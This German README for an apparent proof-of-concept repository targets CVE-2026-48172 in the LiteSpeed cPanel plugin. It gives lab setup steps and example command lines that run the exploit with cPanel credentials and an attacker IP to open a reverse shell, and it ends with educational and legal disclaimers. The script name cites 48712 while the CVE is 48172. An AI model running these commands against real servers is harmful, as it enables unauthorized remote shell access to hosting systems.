📚 Bildungs-Repository für Cybersicherheitsforschung

Ein Repository zum Lernen, Testen und Erforschen von Cybersicherheitskonzepten in kontrollierten Umgebungen.

---

⚡ Einfache Nutzung

Verwenden Sie dieses Projekt nur in sicheren und autorisierten Umgebungen wie:

• Lokale virtuelle Maschinen
• Docker-Container
• Isolierte Laborumgebungen
• Autorisierte Penetrationstest-Umgebungen

Beispiel-Setup:

git clone https://github.com/HORKimhab/CVE-2026-48172 && cd CVE-2026-48172

cd lab
docker compose up --build -d
cd ..

Beispielverwendung:

# For localhost (uses HTTP automatically)
python3 cve-2026-48712.py -u test -p test -H localhost:2083 -i 192.168.1.100

# For remote server (uses HTTPS)
python3 cve-2026-48712.py -u test -p test -H example.com:2083 -i 192.168.1.100

usage: cve-2026-48712.py [-h] -u USER -p PASSWORD [-H HOST] -i ATTACKER_IP [-P ATTACKER_PORT]

CVE-2026-48172 PoC - LiteSpeed cPanel Redis TLS Reverse Shell

options:
  -h, --help            show this help message and exit
  -u, --user USER       cPanel username
  -p, --password PASSWORD
                        cPanel password
  -H, --host HOST       cPanel host with protocol and port (default: http://localhost:2083)
  -i, --attacker-ip ATTACKER_IP
                        Your IP for reverse shell
  -P, --attacker-port ATTACKER_PORT
                        Reverse shell port (default: 8443)

Ersetzen Sie die obigen Befehle durch die tatsächlichen Schritte für Ihr Projekt-Setup.

---

---

Quellen und Referenzen

• https://nvd.nist.gov/vuln/detail/CVE-2026-48172
• https://thehackernews.com/2026/05/litespeed-cpanel-plugin-cve-2026-48172.html
• https://www.cve.org/CVERecord?id=CVE-2026-48172

---

⚠️ Sicherheits- und Rechtshinweis

Zweck

Dieses Repository ist ausschließlich für Bildung und autorisierte Sicherheitsforschung gedacht.

Es soll Nutzern helfen, Folgendes zu lernen:

• Sicherheitsschwachstellen
• Sandbox- und Isolationskonzepte
• Sichere Codierung und defensive Praktiken

---

Nur für autorisierte Nutzung

Verwenden Sie dieses Repository nur in Umgebungen, in denen Sie die Berechtigung haben, wie zum Beispiel:

• Persönliche Labore oder virtuelle Maschinen
• Docker- oder isolierte Umgebungen
• Autorisierte Penetrationstests
• Cybersicherheitstraining oder akademische Forschung

Unbefugte oder illegale Nutzung ist strengstens untersagt.

---

Keine Haftung

Der Autor und die Mitwirkenden sind nicht verantwortlich für Schäden, Missbrauch, rechtliche Probleme oder Verluste, die durch dieses Projekt verursacht werden.

Durch die Nutzung dieses Repositorys erklären Sie sich damit einverstanden, dass:

• Sie für Ihre eigenen Handlungen verantwortlich sind
• Sie es legal und ethisch nutzen werden
• Das Projekt ohne Gewährleistung bereitgestellt wird

---

Ethische Nutzung

Dieses Projekt ist vorgesehen für:

• Defensive Sicherheitsforschung
• Cybersicherheitsausbildung
• Sensibilisierung für Schwachstellen
• Forschung zu sicheren Systemen und Software

Bitte befolgen Sie die Praktiken der verantwortungsvollen Offenlegung und halten Sie alle geltenden Gesetze ein.

---

Kontakt

Für verantwortungsvolle Offenlegung oder Zusammenarbeit kontaktieren Sie den Repository-Betreuer über GitHub.